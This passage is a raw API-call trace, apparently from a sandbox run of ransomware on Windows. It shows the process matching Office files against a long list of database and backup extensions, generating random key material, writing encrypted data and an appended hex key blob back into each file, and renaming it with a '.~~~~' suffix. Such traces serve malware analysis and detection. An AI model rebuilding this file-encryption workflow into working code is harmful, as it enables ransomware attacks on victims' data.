	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0135.645] lstrlenW (lpString=".MYD") returned 4
	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0135.645] lstrlenW (lpString=".DBT") returned 4
	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0135.645] lstrlenW (lpString=".ACCDB") returned 6
	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0135.645] lstrlenW (lpString=".fdb") returned 4
	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0135.645] lstrlenW (lpString=".bak") returned 4
	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0135.645] lstrlenW (lpString=".myd") returned 4
	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0135.645] lstrlenW (lpString=".DTXS") returned 5
	[0135.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0135.645] lstrlenW (lpString=".ckp") returned 4
	[0135.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0135.646] lstrlenW (lpString=".dbt") returned 4
	[0135.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0135.646] lstrlenW (lpString=".db") returned 3
	[0135.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".db") returned 0x0
	[0135.646] lstrlenW (lpString=".TXT") returned 4
	[0135.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0135.646] lstrlenW (lpString=".MDF") returned 4
	[0135.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0135.646] lstrlenW (lpString=".bdb") returned 4
	[0135.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0135.646] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0135.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.646] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0620) returned 1
	[0135.648] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.648] CryptReleaseContext (hProv=0x3a0620, dwFlags=0x0) returned 1
	[0135.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0135.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0135.648] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25563804151) returned 1
	[0135.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xba4ab410, dwHighDateTime=0x1d60e1e)) 
	[0135.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0135.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0135.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0135.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e49a8
	[0135.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e49a8 | out: hHeap=0x300000) returned 1
	[0135.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8398
	[0135.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.649] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0135.649] GetLastError () returned 0x0
	[0135.649] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0135.649] GetLastError () returned 0x0
	[0135.699] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.699] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0135.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.700] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.700] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.700] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.700] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.700] CloseHandle (hObject=0xc4) returned 1
	[0135.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0135.701] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.~~~~")) returned 1
	[0135.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0135.746] GetLastError () returned 0x0
	[0135.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".scr") returned 0x0
	[0135.746] lstrlenW (lpString=".cmd") returned 4
	[0135.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".cmd") returned 0x0
	[0135.746] lstrlenW (lpString=".dll") returned 4
	[0135.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".dll") returned 0x0
	[0135.746] lstrlenW (lpString=".bat") returned 4
	[0135.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".bat") returned 0x0
	[0135.746] lstrlenW (lpString=".cpl") returned 4
	[0135.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".cpl") returned 0x0
	[0135.746] lstrlenW (lpString=".sys") returned 4
	[0135.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".sys") returned 0x0
	[0135.747] lstrlenW (lpString=".msc") returned 4
	[0135.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".msc") returned 0x0
	[0135.747] lstrlenW (lpString=".com") returned 4
	[0135.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".com") returned 0x0
	[0135.747] lstrlenW (lpString=".lnk") returned 4
	[0135.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".lnk") returned 0x0
	[0135.747] lstrlenW (lpString=".msp") returned 4
	[0135.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".msp") returned 0x0
	[0135.747] lstrlenW (lpString=".pif") returned 4
	[0135.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".pif") returned 0x0
	[0135.747] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch="msp\r\n.pif") returned 0x0
	[0135.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0136.164] lstrlenW (lpString=".sqb") returned 4
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".sqb") returned 0x0
	[0136.164] lstrlenW (lpString=".ost") returned 4
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".ost") returned 0x0
	[0136.164] lstrlenW (lpString=".txt") returned 4
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".txt") returned 0x0
	[0136.164] lstrlenW (lpString=".mdt") returned 4
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".mdt") returned 0x0
	[0136.164] lstrlenW (lpString=".BDB") returned 4
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".BDB") returned 0x0
	[0136.164] lstrlenW (lpString=".eql") returned 4
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".eql") returned 0x0
	[0136.164] lstrlenW (lpString=".DBF") returned 4
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".DBF") returned 0x0
	[0136.164] lstrlenW (lpString=".EQL") returned 4
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".EQL") returned 0x0
	[0136.164] lstrlenW (lpString=".FDB") returned 4
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".FDB") returned 0x0
	[0136.164] lstrlenW (lpString=".EDB") returned 4
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".EDB") returned 0x0
	[0136.164] lstrlenW (lpString=".DACPAC") returned 7
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".DACPAC") returned 0x0
	[0136.164] lstrlenW (lpString=".VHD") returned 4
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".VHD") returned 0x0
	[0136.164] lstrlenW (lpString=".DBV") returned 4
	[0136.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".DBV") returned 0x0
	[0136.165] lstrlenW (lpString=".dacpac") returned 7
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".dacpac") returned 0x0
	[0136.165] lstrlenW (lpString=".sdf") returned 4
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".sdf") returned 0x0
	[0136.165] lstrlenW (lpString=".accdb") returned 6
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".accdb") returned 0x0
	[0136.165] lstrlenW (lpString=".DBX") returned 4
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".DBX") returned 0x0
	[0136.165] lstrlenW (lpString=".MDT") returned 4
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".MDT") returned 0x0
	[0136.165] lstrlenW (lpString=".SQB") returned 4
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".SQB") returned 0x0
	[0136.165] lstrlenW (lpString=".vhd") returned 4
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".vhd") returned 0x0
	[0136.165] lstrlenW (lpString=".bac") returned 4
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".bac") returned 0x0
	[0136.165] lstrlenW (lpString=".mdf") returned 4
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".mdf") returned 0x0
	[0136.165] lstrlenW (lpString=".BAK") returned 4
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".BAK") returned 0x0
	[0136.165] lstrlenW (lpString=".BAC") returned 4
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".BAC") returned 0x0
	[0136.165] lstrlenW (lpString=".dbs") returned 4
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".dbs") returned 0x0
	[0136.165] lstrlenW (lpString=".vhdx") returned 5
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".vhdx") returned 0x0
	[0136.165] lstrlenW (lpString=".NDF") returned 4
	[0136.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".NDF") returned 0x0
	[0136.166] lstrlenW (lpString=".dat") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".dat") returned 0x0
	[0136.166] lstrlenW (lpString=".DBS") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".DBS") returned 0x0
	[0136.166] lstrlenW (lpString=".CKP") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".CKP") returned 0x0
	[0136.166] lstrlenW (lpString=".edb") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".edb") returned 0x0
	[0136.166] lstrlenW (lpString=".PST") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".PST") returned 0x0
	[0136.166] lstrlenW (lpString=".dbf") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".dbf") returned 0x0
	[0136.166] lstrlenW (lpString=".SQL") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".SQL") returned 0x0
	[0136.166] lstrlenW (lpString=".pst") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".pst") returned 0x0
	[0136.166] lstrlenW (lpString=".dbv") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".dbv") returned 0x0
	[0136.166] lstrlenW (lpString=".SDF") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".SDF") returned 0x0
	[0136.166] lstrlenW (lpString=".dtxs") returned 5
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".dtxs") returned 0x0
	[0136.166] lstrlenW (lpString=".db3") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".db3") returned 0x0
	[0136.166] lstrlenW (lpString=".OST") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".OST") returned 0x0
	[0136.166] lstrlenW (lpString=".dbx") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".dbx") returned 0x0
	[0136.166] lstrlenW (lpString=".DB3") returned 4
	[0136.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".DB3") returned 0x0
	[0136.166] lstrlenW (lpString=".DAT") returned 4
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".DAT") returned 0x0
	[0136.167] lstrlenW (lpString=".VHDX") returned 5
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".VHDX") returned 0x0
	[0136.167] lstrlenW (lpString=".ndf") returned 4
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".ndf") returned 0x0
	[0136.167] lstrlenW (lpString=".DB") returned 3
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".DB") returned 0x0
	[0136.167] lstrlenW (lpString=".sql") returned 4
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".sql") returned 0x0
	[0136.167] lstrlenW (lpString=".MYD") returned 4
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".MYD") returned 0x0
	[0136.167] lstrlenW (lpString=".DBT") returned 4
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".DBT") returned 0x0
	[0136.167] lstrlenW (lpString=".ACCDB") returned 6
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".ACCDB") returned 0x0
	[0136.167] lstrlenW (lpString=".fdb") returned 4
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".fdb") returned 0x0
	[0136.167] lstrlenW (lpString=".bak") returned 4
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".bak") returned 0x0
	[0136.167] lstrlenW (lpString=".myd") returned 4
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".myd") returned 0x0
	[0136.167] lstrlenW (lpString=".DTXS") returned 5
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".DTXS") returned 0x0
	[0136.167] lstrlenW (lpString=".ckp") returned 4
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".ckp") returned 0x0
	[0136.167] lstrlenW (lpString=".dbt") returned 4
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".dbt") returned 0x0
	[0136.167] lstrlenW (lpString=".db") returned 3
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".db") returned 0x0
	[0136.167] lstrlenW (lpString=".TXT") returned 4
	[0136.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".TXT") returned 0x0
	[0136.168] lstrlenW (lpString=".MDF") returned 4
	[0136.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".MDF") returned 0x0
	[0136.168] lstrlenW (lpString=".bdb") returned 4
	[0136.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".bdb") returned 0x0
	[0136.168] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0136.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.168] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2908538) returned 1
	[0136.169] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.169] CryptReleaseContext (hProv=0x2908538, dwFlags=0x0) returned 1
	[0136.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.169] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25615936119) returned 1
	[0136.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xba9ba2d0, dwHighDateTime=0x1d60e1e)) 
	[0136.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825240
	[0136.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825240 | out: hHeap=0x300000) returned 1
	[0136.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce188
	[0136.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0136.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.170] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0136.170] GetLastError () returned 0x0
	[0136.170] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0136.170] GetLastError () returned 0x0
	[0136.172] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffff9b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
